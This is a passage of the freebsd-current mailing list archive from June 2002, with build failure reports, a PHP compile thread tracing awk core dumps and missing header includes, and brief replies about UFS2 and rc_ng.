ls/ld -I /usr/src/gnu/usr.bin/binutils/doc/../../../../contrib/binutils/bfd/doc
-I /usr/src/gnu/usr.bin/binutils/doc/../../../../contrib/binutils/binutils -I /u
sr/src/gnu/usr.bin/binutils/doc/../../../../contrib/gdb.291/gdb/doc -I /usr/src/
gnu/usr.bin/binutils/doc/../../../../contrib/libreadline/doc --no-split -I /usr/
src/gnu/usr.bin/binutils/doc -I /usr/src/gnu/usr.bin/binutils/doc/../../../../co
ntrib/binutils /usr/src/gnu/usr.bin/binutils/doc/../../../../contrib/binutils/ld
/ld.texinfo  -o ld.info
/usr/src/gnu/usr.bin/binutils/doc/../../../../contrib/binutils/ld/ld.texinfo:320
2: warning: Info cannot handle `:' in index entry `:@var{phdr}'.
gzip -cn ld.info > ld.info.gz
make: don't know how to make annotate.info. Stop
*** Error code 2

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Jun 21 19:53:39 2002
Delivered-To: freebsd-current@freebsd.org
Received: from crazytrain.camattin.com (dsl-64-192-134-253.telocity.com [64.192.134.253])
	by hub.freebsd.org (Postfix) with ESMTP id DE42B37B40A
	for <freebsd-current@freebsd.org>; Fri, 21 Jun 2002 19:53:34 -0700 (PDT)
Received: from crazytrain.camattin.com (localhost [127.0.0.1])
	by crazytrain.camattin.com (8.12.4/8.12.4) with ESMTP id g5M2rYw2070441
	for <freebsd-current@freebsd.org>; Fri, 21 Jun 2002 22:53:34 -0400 (EDT)
	(envelope-from camattin@camattin.com)
Received: from localhost (camattin@localhost)
	by crazytrain.camattin.com (8.12.4/8.12.4/Submit) with ESMTP id g5M2rTVn070438
	for <freebsd-current@freebsd.org>; Fri, 21 Jun 2002 22:53:29 -0400 (EDT)
X-Authentication-Warning: crazytrain.camattin.com: camattin owned process doing -bs
Date: Fri, 21 Jun 2002 22:53:29 -0400 (EDT)
From: "Chris A. Mattingly" <camattin@camattin.com>
To: freebsd-current@freebsd.org
Subject: awk woes
Message-ID: <20020621223834.E67152-100000@crazytrain.camattin.com>
X-Message-Flag: You really should not be able to see this message.
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


In trying to recompile php-4.2.1 on my current -current system, to go
along with the new apache, I've run into some problems that haven't shown
up in all the other places I've had to recompile apache/php these past
few days which is why I'm here first instead of on the php lists....


I'm running -current with sources cvsup'ed from this morning (06/21, early
morning EDT).


Problem 1:

When running php's configure, awk core dumps several times.  I've yet to
determine exactly where the core dumps are occurring, though.  Four of
them occur during the configure; but the configure seems to complete OK.


Problem 2:

Compiling main/main.c I get the following errors:
main.c: In function `php_disable_functions':
main.c:157: warning: initialization makes pointer from integer without a
cast
main.c:161: warning: assignment makes pointer from integer without a cast
main.c:164: warning: assignment makes pointer from integer without a cast

The relevant lines from main.c are:

154: static void php_disable_functions(TSRMLS_D)
155: {
156:        char *func;
157:        char *new_value_dup = strdup(INI_STR("disable_functions"));
xxx: snip comments
161:        func = strtok(new_value_dup, ", ");
162:        while (func) {
163:                zend_disable_function(func, strlen(func) TSRMLS_CC);
164:                func = strtok(NULL, ", ");
165:        }
166: }

No other OS's seem to complain about this, so why is freebsd?

Has anyone been successful getting php4 compiled on -current?

TIA,
-Chris



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Jun 21 20:24:59 2002
Delivered-To: freebsd-current@freebsd.org
Received: from encontacto.net (adsl-64-173-182-158.dsl.mtry01.pacbell.net [64.173.182.158])
	by hub.freebsd.org (Postfix) with ESMTP id 0653237B433
	for <freebsd-current@freebsd.org>; Fri, 21 Jun 2002 20:24:32 -0700 (PDT)
Received: from localhost (localhost [127.0.0.1])
  (uid 80)
  by encontacto.net with local; Fri, 21 Jun 2002 20:24:32 -0700
Received: from adsl-64-173-182-155.dsl.mtry01.pacbell.net (adsl-64-173-182-155.dsl.mtry01.pacbell.net [64.173.182.155])
	as user eculp@encontacto.net@encontacto.net by Mail.EnContacto.Net with HTTP;
	Fri, 21 Jun 2002 20:24:32 -0700
Message-ID: <1024716272.3d13edf07735e@Mail.EnContacto.Net>
Date: Fri, 21 Jun 2002 20:24:32 -0700
From: Edwin Culp <eculp@encontacto.net>
To: "Chris A. Mattingly" <camattin@camattin.com>
Cc: freebsd-current@freebsd.org
Subject: Re: awk woes
References: <20020621223834.E67152-100000@crazytrain.camattin.com>
In-Reply-To: <20020621223834.E67152-100000@crazytrain.camattin.com>
MIME-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
User-Agent: Internet Messaging Program (IMP) 4.0-cvs
X-Priority: 3 (Normal)
X-Originating-IP:  64.173.182.155
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Quoting "Chris A. Mattingly" <camattin@camattin.com>:

 | 
 | In trying to recompile php-4.2.1 on my current -current system, to go
 | along with the new apache, I've run into some problems that haven't shown
 | up in all the other places I've had to recompile apache/php these past
 | few days which is why I'm here first instead of on the php lists....
 | 
<snip>
 | No other OS's seem to complain about this, so why is freebsd?
 | 
 | Has anyone been successful getting php4 compiled on -current?

I was compiling Apache/2.0.39 port with ssl and had runtime issues with
sapi in my php4.2.1.  I saw thatAlex Dupre <sysadmin@alexdupre.com> 
had submitted ports/39623: [New Ports] Development versions of PHP, 
PEAR and mod_php.  He sent me a tarball of the port since it hasn't
been committed yet.  I used it and am running happily since about
10 am this morning.  It has all the bells and whistles for php and
lets you select sapi for apache13 or apache2.

I can attach the tarball if you would like.

ed

 | 
 | TIA,
 | -Chris
 | 
 | 
 | 
 | To Unsubscribe: send mail to majordomo@FreeBSD.org
 | with "unsubscribe freebsd-current" in the body of the message


-- 

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Jun 21 20:28:18 2002
Delivered-To: freebsd-current@freebsd.org
Received: from wantadilla.lemis.com (wantadilla.lemis.com [192.109.197.80])
	by hub.freebsd.org (Postfix) with ESMTP
	id 268CA37B409; Fri, 21 Jun 2002 20:28:10 -0700 (PDT)
Received: by wantadilla.lemis.com (Postfix, from userid 1004)
	id CC27781494; Sat, 22 Jun 2002 12:58:04 +0930 (CST)
Date: Sat, 22 Jun 2002 12:58:04 +0930
From: Greg 'groggy' Lehey <grog@FreeBSD.org>
To: Robert Watson <rwatson@FreeBSD.org>
Cc: Poul-Henning Kamp <phk@FreeBSD.org>, current@FreeBSD.org
Subject: Re: HEADSUP:  UFS2 patch coming...
Message-ID: <20020622032804.GG46050@wantadilla.lemis.com>
References: <20020620015236.GF23122@wantadilla.lemis.com> <Pine.NEB.3.96L.1020621222235.40109B-100000@fledge.watson.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <Pine.NEB.3.96L.1020621222235.40109B-100000@fledge.watson.org>
User-Agent: Mutt/1.3.99i
Organization: The FreeBSD Project
Phone: +61-8-8388-8286
Fax: +61-8-8388-8725
Mobile: +61-418-838-708
WWW-Home-Page: http://www.FreeBSD.org/
X-PGP-Fingerprint: 9A1B 8202 BCCE B846 F92F  09AC 22E6 F290 507A 4223
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Friday, 21 June 2002 at 22:24:14 -0400, Robert Watson wrote:
>
> On Thu, 20 Jun 2002, Greg 'groggy' Lehey wrote:
>
>> On Wednesday, 19 June 2002 at 10:07:29 +0200, Poul-Henning Kamp wrote:
>>>
>>> Kirk is loading and aiming is committatron with the UFS2 patch,
>>> expect to see it hit -current any day soon.
>>
>> Any details of what it will contain?
>
> Per previous e-mails to -current and -arch, this first stage of the
> process essentially consists of rolling the on-disk inode format to
> include 64-bit pointers, extent information, and extended attribute
> information.  Almost every other change in there is to support the UFS1/2
> split, and moving to the larger sizes.  The actual EA implementation,
> extent behavior, etc, will not operate until future commits are in the
> tree.

Thanks.  Kirk's commit was pretty explicit, a good example of the kind
of information that I was asking for.

Greg
--
See complete headers for address and phone numbers

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Jun 21 20:38:29 2002
Delivered-To: freebsd-current@freebsd.org
Received: from ref5.freebsd.org (ref5.FreeBSD.org [216.136.204.102])
	by hub.freebsd.org (Postfix) with ESMTP id 7C19237B408
	for <current@freebsd.org>; Fri, 21 Jun 2002 20:38:22 -0700 (PDT)
Received: from ref5.freebsd.org (localhost [127.0.0.1])
	by ref5.freebsd.org (8.12.3/8.12.3) with ESMTP id g5M3cM0h036412
	for <current@freebsd.org>; Fri, 21 Jun 2002 20:38:22 -0700 (PDT)
	(envelope-from des@ref5.freebsd.org)
Received: (from des@localhost)
	by ref5.freebsd.org (8.12.3/8.12.3/Submit) id g5M3cMJI036410
	for current@freebsd.org; Fri, 21 Jun 2002 20:38:22 -0700 (PDT)
Date: Fri, 21 Jun 2002 20:38:22 -0700 (PDT)
From: Dag-Erling Smorgrav <des@FreeBSD.org>
Message-Id: <200206220338.g5M3cMJI036410@ref5.freebsd.org>
To: current@freebsd.org
Subject: i386 tinderbox failure
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

--------------------------------------------------------------
>>> Rebuilding the temporary build tree
--------------------------------------------------------------
>>> stage 1: bootstrap tools
--------------------------------------------------------------
>>> stage 2: cleaning up the object tree
--------------------------------------------------------------
>>> stage 2: rebuilding the object tree
--------------------------------------------------------------
>>> stage 2: build tools
--------------------------------------------------------------
>>> stage 3: cross tools
--------------------------------------------------------------
>>> stage 4: populating /home/des/tinderbox/i386/obj/local0/scratch/tinderbox/src/i386/usr/include
--------------------------------------------------------------
>>> stage 4: building libraries
--------------------------------------------------------------
>>> stage 4: make dependencies
--------------------------------------------------------------
>>> stage 4: building everything..
--------------------------------------------------------------
===> gnu/usr.bin/binutils/strip
...
bucomm.o(.text+0x3a9): warning: mktemp() possibly used unsafely; consider using mkstemp()
===> gnu/usr.bin/binutils/doc
/local0/scratch/tinderbox/src/gnu/usr.bin/binutils/doc/../../../../contrib/binutils/gas/doc/as.texinfo:2108: warning: Info cannot handle `:' in index entry `@code{:} (label)'.
/local0/scratch/tinderbox/src/gnu/usr.bin/binutils/doc/../../../../contrib/binutils/gas/doc/as.texinfo:2109: warning: Info cannot handle `:' in index entry `label (@code{:})'.
/local0/scratch/tinderbox/src/gnu/usr.bin/binutils/doc/../../../../contrib/binutils/gas/doc/as.texinfo:3927: warning: Info cannot handle `:' in index entry `listing control: new page'.
/local0/scratch/tinderbox/src/gnu/usr.bin/binutils/doc/../../../../contrib/binutils/gas/doc/as.texinfo:4814: warning: Info cannot handle `:' in index entry `listing control: paper size'.
/local0/scratch/tinderbox/src/gnu/usr.bin/binutils/doc/../../../../contrib/binutils/gas/doc/as.texinfo:4903: warning: Info cannot handle `:' in index entry `listing control: subtitle'.
/local0/scratch/tinderbox/src/gnu/usr.bin/binutils/doc/../../../../contrib/binutils/gas/doc/as.texinfo:5391: warning: Info cannot handle `:' in index entry `listing control: title line'.
/local0/scratch/tinderbox/src/gnu/usr.bin/binutils/doc/../../../../contrib/binutils/ld/ld.texinfo:3202: warning: Info cannot handle `:' in index entry `:@var{phdr}'.
make: don't know how to make annotate.info. Stop
*** Error code 2

Stop in /local0/scratch/tinderbox/src/gnu/usr.bin/binutils.
*** Error code 1

Stop in /local0/scratch/tinderbox/src/gnu/usr.bin.
*** Error code 1

Stop in /local0/scratch/tinderbox/src/gnu.
*** Error code 1

Stop in /local0/scratch/tinderbox/src.
*** Error code 1

Stop in /local0/scratch/tinderbox/src.
*** Error code 1

Stop in /local0/scratch/tinderbox/src.

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Jun 21 20:49:45 2002
Delivered-To: freebsd-current@freebsd.org
Received: from espresso.q9media.com (espresso.q9media.com [216.254.138.122])
	by hub.freebsd.org (Postfix) with ESMTP id A72BD37B405
	for <freebsd-current@freebsd.org>; Fri, 21 Jun 2002 20:49:38 -0700 (PDT)
Received: (from mike@localhost)
	by espresso.q9media.com (8.11.6/8.11.6) id g5M3ktr68873;
	Fri, 21 Jun 2002 23:46:55 -0400 (EDT)
	(envelope-from mike)
Date: Fri, 21 Jun 2002 23:46:55 -0400
From: Mike Barcroft <mike@freebsd.org>
To: "Chris A. Mattingly" <camattin@camattin.com>
Cc: freebsd-current@freebsd.org
Subject: Re: awk woes
Message-ID: <20020621234655.C85066@espresso.q9media.com>
References: <20020621223834.E67152-100000@crazytrain.camattin.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20020621223834.E67152-100000@crazytrain.camattin.com>; from camattin@camattin.com on Fri, Jun 21, 2002 at 10:53:29PM -0400
Organization: The FreeBSD Project
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Chris A. Mattingly <camattin@camattin.com> writes:
> Problem 1:
> 
> When running php's configure, awk core dumps several times.  I've yet to
> determine exactly where the core dumps are occurring, though.  Four of
> them occur during the configure; but the configure seems to complete OK.

Enable debugging symbols in awk and get a traceback.

> Problem 2:
> 
> Compiling main/main.c I get the following errors:
> main.c: In function `php_disable_functions':
> main.c:157: warning: initialization makes pointer from integer without a
> cast
> main.c:161: warning: assignment makes pointer from integer without a cast
> main.c:164: warning: assignment makes pointer from integer without a cast
> 
> The relevant lines from main.c are:
> 
> 154: static void php_disable_functions(TSRMLS_D)
> 155: {
> 156:        char *func;
> 157:        char *new_value_dup = strdup(INI_STR("disable_functions"));
> xxx: snip comments
> 161:        func = strtok(new_value_dup, ", ");
> 162:        while (func) {
> 163:                zend_disable_function(func, strlen(func) TSRMLS_CC);
> 164:                func = strtok(NULL, ", ");
> 165:        }
> 166: }

These warnings are indicative of a missing header include.  Is
<string.h> being included?

It's doubtful this is really your problem.  Is there any other output
from the compiler?

> No other OS's seem to complain about this, so why is freebsd?

Perhaps compiler diagnostics aren't enabled on those systems.

Best regards,
Mike Barcroft

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Jun 21 21:10:18 2002
Delivered-To: freebsd-current@freebsd.org
Received: from crazytrain.camattin.com (dsl-64-192-134-253.telocity.com [64.192.134.253])
	by hub.freebsd.org (Postfix) with ESMTP
	id A7C9237B408; Fri, 21 Jun 2002 21:10:01 -0700 (PDT)
Received: from crazytrain.camattin.com (localhost [127.0.0.1])
	by crazytrain.camattin.com (8.12.4/8.12.4) with ESMTP id g5M4A0NM029108;
	Sat, 22 Jun 2002 00:10:00 -0400 (EDT)
	(envelope-from camattin@camattin.com)
Received: from localhost (camattin@localhost)
	by crazytrain.camattin.com (8.12.4/8.12.4/Submit) with ESMTP id g5M49tuN029105;
	Sat, 22 Jun 2002 00:09:55 -0400 (EDT)
X-Authentication-Warning: crazytrain.camattin.com: camattin owned process doing -bs
Date: Sat, 22 Jun 2002 00:09:55 -0400 (EDT)
From: "Chris A. Mattingly" <camattin@camattin.com>
To: Mike Barcroft <mike@freebsd.org>
Cc: freebsd-current@freebsd.org
Subject: Re: awk woes
In-Reply-To: <20020621234655.C85066@espresso.q9media.com>
Message-ID: <20020621235107.E24172-100000@crazytrain.camattin.com>
X-Message-Flag: You really should not be able to see this message.
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Fri, 21 Jun 2002, Mike Barcroft wrote:

> Chris A. Mattingly <camattin@camattin.com> writes:
> > Problem 1:
> >
> > When running php's configure, awk core dumps several times.  I've yet to
> > determine exactly where the core dumps are occurring, though.  Four of
> > them occur during the configure; but the configure seems to complete OK.
>
> Enable debugging symbols in awk and get a traceback.


Will do (after the current build finishes ... see below).


> > Problem 2:
> >
> > Compiling main/main.c I get the following errors:
> > main.c: In function `php_disable_functions':
> > main.c:157: warning: initialization makes pointer from integer without a
> > cast
> > main.c:161: warning: assignment makes pointer from integer without a cast
> > main.c:164: warning: assignment makes pointer from integer without a cast
> >
> > The relevant lines from main.c are:
> >
> > 154: static void php_disable_functions(TSRMLS_D)
> > 155: {
> > 156:        char *func;
> > 157:        char *new_value_dup = strdup(INI_STR("disable_functions"));
> > xxx: snip comments
> > 161:        func = strtok(new_value_dup, ", ");
> > 162:        while (func) {
> > 163:                zend_disable_function(func, strlen(func) TSRMLS_CC);
> > 164:                func = strtok(NULL, ", ");
> > 165:        }
> > 166: }
>
> These warnings are indicative of a missing header include.  Is
> <string.h> being included?
>
> It's doubtful this is really your problem.  Is there any other output
> from the compiler?

It did boil down to <string.h> not being included.  And in another file,
<pwd.h> didn't get included.  And in another, <sys/socket.h> didn't get
included.


> > No other OS's seem to complain about this, so why is freebsd?
>
> Perhaps compiler diagnostics aren't enabled on those systems.

Solaris was just being more cooperative.

I thought the issue with the missing include files might have been related
to the awk failures and therefore configure not outputting the right
stuff.  But after the right incantination of configure, it managed to
finally build, install, and function properly.


-Chris



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Jun 21 21:41:22 2002
Delivered-To: freebsd-current@freebsd.org
Received: from crazytrain.camattin.com (dsl-64-192-134-253.telocity.com [64.192.134.253])
	by hub.freebsd.org (Postfix) with ESMTP id 0B44937B403
	for <freebsd-current@FreeBSD.ORG>; Fri, 21 Jun 2002 21:40:45 -0700 (PDT)
Received: from crazytrain.camattin.com (localhost [127.0.0.1])
	by crazytrain.camattin.com (8.12.4/8.12.4) with ESMTP id g5M4edNM030444
	for <freebsd-current@FreeBSD.ORG>; Sat, 22 Jun 2002 00:40:44 -0400 (EDT)
	(envelope-from camattin@camattin.com)
Received: from localhost (camattin@localhost)
	by crazytrain.camattin.com (8.12.4/8.12.4/Submit) with ESMTP id g5M4eXAn030441
	for <freebsd-current@FreeBSD.ORG>; Sat, 22 Jun 2002 00:40:34 -0400 (EDT)
X-Authentication-Warning: crazytrain.camattin.com: camattin owned process doing -bs
Date: Sat, 22 Jun 2002 00:40:33 -0400 (EDT)
From: "Chris A. Mattingly" <camattin@camattin.com>
To: freebsd-current@FreeBSD.ORG
Subject: Re: awk woes
In-Reply-To: <20020621235107.E24172-100000@crazytrain.camattin.com>
Message-ID: <20020622003918.B30436-100000@crazytrain.camattin.com>
X-Message-Flag: You really should not be able to see this message.
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


On Sat, 22 Jun 2002, Chris A. Mattingly wrote:

> On Fri, 21 Jun 2002, Mike Barcroft wrote:
>
> > Chris A. Mattingly <camattin@camattin.com> writes:
> > > Problem 1:
> > >
> > > When running php's configure, awk core dumps several times.  I've yet to
> > > determine exactly where the core dumps are occurring, though.  Four of
> > > them occur during the configure; but the configure seems to complete OK.
> >
> > Enable debugging symbols in awk and get a traceback.
>
>
> Will do (after the current build finishes ... see below).

As promised, here's the gdb output from awk and its core dump:

Program terminated with signal 11, Segmentation fault.
Reading symbols from /usr/lib/libm.so.2...done.
Reading symbols from /usr/lib/libc.so.5...done.
Reading symbols from /usr/libexec/ld-elf.so.1...done.
#0  0x805163a in format (pbuf=0xbfbffa84, pbufsize=0xbfbffa88,
    s=0x806e240 "%c%c%c%c%c", a=0x80710a0)
    at /usr/src/contrib/one-true-awk/run.c:921
921     }
(gdb) where
#0  0x805163a in format (pbuf=0xbfbffa84, pbufsize=0xbfbffa88,
    s=0x806e240 "%c%c%c%c%c", a=0x80710a0)
    at /usr/src/contrib/one-true-awk/run.c:921
#1  0x80517a6 in awkprintf (a=0x8071190, n=320)
    at /usr/src/contrib/one-true-awk/run.c:921
#2  0x804f914 in execute (u=0x8071180)
    at /usr/src/contrib/one-true-awk/run.c:921
#3  0x804f9a6 in program (a=0x80711b0, n=258)
    at /usr/src/contrib/one-true-awk/run.c:921
#4  0x804f914 in execute (u=0x80711a0)
    at /usr/src/contrib/one-true-awk/run.c:921
#5  0x804f878 in run (a=0x80711a0) at
/usr/src/contrib/one-true-awk/run.c:921
#6  0x804f25c in main (argc=1, argv=0xbfbffba4)
    at /usr/src/contrib/one-true-awk/main.c:154


I'm not a programmer (nor do I play one on TV), but will be willing to
help out any way I can.

-Chris



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Jun 21 22:53: 6 2002
Delivered-To: freebsd-current@freebsd.org
Received: from gate.uai.etel.ru (gate.uai.etel.ru [195.38.57.243])
	by hub.freebsd.org (Postfix) with ESMTP id 3DEA537B401
	for <freebsd-current@freebsd.org>; Fri, 21 Jun 2002 22:53:02 -0700 (PDT)
Received:  by sendmail of gate.uai.etel.ru  id g5M5r1M01428
	for <freebsd-current@freebsd.org>; Sat, 22 Jun 2002 11:53:01 +0600
X-Authentication-Warning: gate.uai.etel.ru: smap set sender to <vlad@telecom.ural.ru> using -f
Received: from <vlad@telecom.ural.ru> by gate.uai.etel.ru via smap (V2.1)
	id xma001426; Sat, 22 Jun 02 11:52:59 +0600
Received:  by sendmail  with ESMTP id g5M5qwxX016839 from vlad@telecom.ural.ru
	for <freebsd-current@freebsd.org.KAV>; Sat, 22 Jun 2002 11:52:58 +0600
Received:  by sendmail  id g5M5qwh1016838
	for freebsd-current@freebsd.org.KAV; Sat, 22 Jun 2002 11:52:58 +0600
Received:  by sendmail  with ESMTP id g5M5qvxX016827 from vlad@telecom.ural.ru
	for <freebsd-current@freebsd.org>; Sat, 22 Jun 2002 11:52:57 +0600
Date: Sat, 22 Jun 2002 11:52:56 +0600
From: "Vladimir G. Drobyshevsky" <vlad@telecom.ural.ru>
X-Mailer: The Bat! (v1.60m)
Reply-To: "Vladimir G. Drobyshevsky" <vlad@telecom.ural.ru>
Organization: Computer saloons "TelescOp"
X-Priority: 3 (Normal)
Message-ID: <1544128135.20020622115256@telecom.ural.ru>
To: freebsd-current@freebsd.org
Subject: configure stage on port build exits with "out of file descriptors"
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Hello All!

  That problem was explaned for the first time when I tried to build
  apache2. On configure stage process is freeze and after few hours
  exits with "out of file descriptors" message. And that problem is
  exist with much many ports. What can it be?

  And the second - after some hours of run top show CPU interrupt state
  about 60-70% and system is slow down. How can I avoid it?

  I have custom kernel and -CURRENT:
  
  FreeBSD ACCer.tScope.ru 5.0-CURRENT-20020615-JPSNAP FreeBSD 5.0-CURRENT-20020615-JPSNAP
  #0: Thu Jun 20 15:08:01 YEKST 2002     root@ACCer.tScope.ru:/usr/src/sys/i386
  /compile/ACCer  i386

Vl.




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Jun 21 23:20:19 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mta6.snfc21.pbi.net (mta6.snfc21.pbi.net [206.13.28.240])
	by hub.freebsd.org (Postfix) with ESMTP id B722537B406
	for <freebsd-current@FreeBSD.ORG>; Fri, 21 Jun 2002 23:20:14 -0700 (PDT)
Received: from kokeb.ambesa.net ([64.166.84.153])
 by mta6.snfc21.pbi.net (iPlanet Messaging Server 5.1 (built May  7 2001))
 with ESMTP id <0GY300IAEG9QMC@mta6.snfc21.pbi.net> for
 freebsd-current@FreeBSD.ORG; Fri, 21 Jun 2002 23:20:14 -0700 (PDT)
Received: from kokeb.ambesa.net (tanstaafl@localhost [127.0.0.1])
	by kokeb.ambesa.net (8.12.3/8.12.3) with ESMTP id g5M6PGeU049238; Fri,
 21 Jun 2002 23:25:16 -0700 (PDT envelope-from mikem@kokeb.ambesa.net)
Received: (from mikem@localhost)	by kokeb.ambesa.net (8.12.3/8.12.3/Submit)
 id g5M6PF5f049237; Fri, 21 Jun 2002 23:25:15 -0700 (PDT envelope-from mikem)
Date: Fri, 21 Jun 2002 23:25:15 -0700
From: Mike Makonnen <makonnen@pacbell.net>
Subject: Re: rc_ng apm enable not run
In-reply-to: <3D1359F7.5080304@klop.yi.org>
To: Ronald Klop <ronald@klop.yi.org>
Cc: freebsd-current@FreeBSD.ORG
Message-id: <20020621232515.47974853.makonnen@pacbell.net>
MIME-version: 1.0
X-Mailer: Sylpheed version 0.7.0 (GTK+ 1.2.10; i386--freebsd5.0)
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
References: <3D1359F7.5080304@klop.yi.org>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Fri, 21 Jun 2002 18:53:11 +0200
Ronald Klop <ronald@klop.yi.org> wrote:

> Hello,
> 
> In the rc_ng is 'apm -e enable' not run if I have apm_enable="YES" 
> and/or apmd_enable="YES" in my rc.conf. But apmd is run with the last 
> option.

uhh... my fault :(
I don't know how I missed /etc/rc.i386 when I was doing the porting.
I'll have a chance to work on it Sunday, unless someone else beats me
to it.

Cheers,
Mike Makonnen

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Jun 21 23:59: 3 2002
Delivered-To: freebsd-current@freebsd.org
Received: from herbelot.dyndns.org (d108.dhcp212-198-26.noos.fr [212.198.26.108])
	by hub.freebsd.org (Postfix) with ESMTP id 017D137B499
	for <freebsd-current@FreeBSD.ORG>; Fri, 21 Jun 2002 23:58:22 -0700 (PDT)
Received: from herbelot.com (tulipe.herbelot.nom [192.168.1.5])
	by herbelot.dyndns.org (8.9.3/8.9.3) with ESMTP id SAA49537;
	Fri, 21 Jun 2002 18:50:49 +0200 (CEST)
	(envelope-from thierry@herbelot.com)
Message-ID: <3D135969.6A29BFBB@herbelot.com>
Date: Fri, 21 Jun 2002 18:50:49 +0200
From: Thierry Herbelot <thierry@herbelot.com>
